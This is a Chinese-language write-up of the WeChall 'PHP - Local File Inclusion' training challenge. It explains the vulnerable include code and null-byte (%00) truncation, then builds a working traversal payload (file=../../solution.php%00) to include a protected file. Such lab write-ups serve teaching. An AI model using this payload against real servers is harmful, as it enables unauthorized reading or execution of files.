PHP - Local File Inclusion(LFI)
题目:
中文翻译如下:
核心代码:
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;
代码详解:
- 当要 判断一个变量是否已经声明的时候 可以使用 isset 函数
- 判断表达式是否成立?表达式1:表达式2(三目运算符)
如果条件成立,执行表达式1,否则执行表达式2 - include:运行指定文件
从以上代码中看出,我们每次输入的文件名都会在最后加上.html,我们需要删除.html,在php<5.3.4版本之前,是存在00截断漏洞的,因此我们可以尝试使用00截断
%00截断介绍:
%00截断,例如1.php%00.txt,白名单在测试时会直接将这个带入,判断后缀名(因为此时1.php%00.txt是一个字符串整体),但执行该代码时,会自动截断%00后面的内容,只要记住会删除包括%00及后面的所有内容解题过程:
-
首先题目提到,需要执行solution.php,那么我们直接访问试试看呢
(中文释义:您不能直接执行此脚本。请在up/index.php中使用LFI vuln包含它。) -
这是最简单的本地文件包含,这里不能直接在lfi目录下执行solution.php,需要使用到
../
,看到下方有文件包含,因此,我们先在题目中选择一个进去看看
如下图:
-
我们在url中再来试试下面的测试
http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=solution.php
(中文释义:
PHP警告(2):include(pages / solution.php.html):无法打开流:/ home / wechall / www / wc5 / www / challenge / training / php / lfi / up / index中没有这样的文件或目录 .php(54):eval()‘代码 行 1
PHP警告(2):include():无法在/ home / wechall / www / wc5 / www / challenge中打开’pages / solution.php.html’以包含(include_path =’。:/ usr / share / php’) /training/php/lfi/up/index.php(54):eval()'d代码 行 1)
- 看到这个显示up中没有中没有solution.php.html,猜想可能是html的问题,于是我们使用00截断
http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=solution.php%00
结果如下图:
- 这回是删除了,但是还是没有显示,于是我们返回上面几层目录看看
根据这个我们才看出,solution.php是在lfi目录下,因此,我们使用…/来访问(注:这里直接使用http://www.wechall.net/challenge/training/php/lfi/solution.php是不行的,他强制要求你使用本次文件包含) - 最后在http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=solution.php%00中重新构造url,构造时需要注意,solution.php在lfi目录下,但他代码在执行中会增加一个pages目录,本来我们使用下面这个构造就可以
http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../solution.php%00
但执行后却是下图所示这时(注:它这时的目录为http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=pages/../solution.php%00
):
多了一个pages目录,我们需要到达lfi目录就需要使用两个../
,第一个../
跳出pages,第二个../
跳出up到达lfi。最后,构造的url为
www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00
执行结果为:
成功完成LFI